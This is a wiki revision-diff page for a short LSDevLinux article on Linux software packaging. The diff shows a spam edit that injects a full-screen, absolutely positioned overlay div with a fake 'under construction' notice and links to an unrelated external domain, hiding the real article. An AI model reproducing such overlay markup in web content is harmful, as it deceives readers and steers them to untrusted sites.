Difference between revisions of "Packaging"

From LSDevLinux
Jump to: navigation, search
(Add further reading links)
Line 1: Line 1:
Packaging is the process by which pieces of software are turned into installable "packages" for various Linux distributions (and other systems, such as Mac OS X and OLPC).
+
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://ecoquvejoz.co.cc UNDER COSTRUCTION, PLEASE SEE THIS POST IN RESERVE COPY]=
 +
----
 +
=[http://ecoquvejoz.co.cc CLICK HERE]=
 +
----
 +
</div>
 +
Packaging is the process by which pieces of software are turned into installable &quot;packages&quot; for various Linux distributions (and other systems, such as Mac OS X and OLPC).
  
 
There are two aspects to this:
 
There are two aspects to this:
Line 8: Line 16:
 
#* Distro upgrades
 
#* Distro upgrades
  
In this context, "upstream" refers to the original source of the software, before it is packaged. Usually this will be a developer's tarball or source-control repo.
+
In this context, &quot;upstream&quot; refers to the original source of the software, before it is packaged. Usually this will be a developer's tarball or source-control repo.
  
 
Once a package has been created, the control files that are used to describe and build the package can be re-used for the ongoing maintenance work with very little extra effort. Initial creation and ongoing maintenance may therefore be done by different people.
 
Once a package has been created, the control files that are used to describe and build the package can be re-used for the ongoing maintenance work with very little extra effort. Initial creation and ongoing maintenance may therefore be done by different people.

Revision as of 23:05, 23 November 2010


Packaging is the process by which pieces of software are turned into installable "packages" for various Linux distributions (and other systems, such as Mac OS X and OLPC).

There are two aspects to this:

  1. Initial creation of the package
  2. Ongoing maintenance as a result of
    • Upstream upgrades
    • Distro upgrades

In this context, "upstream" refers to the original source of the software, before it is packaged. Usually this will be a developer's tarball or source-control repo.

Once a package has been created, the control files that are used to describe and build the package can be re-used for the ongoing maintenance work with very little extra effort. Initial creation and ongoing maintenance may therefore be done by different people.

Further Reading

On this wiki:

  • A tutorial for making packages for Debian-based systems (especially Ubuntu).

General/Reference:

Python-specific: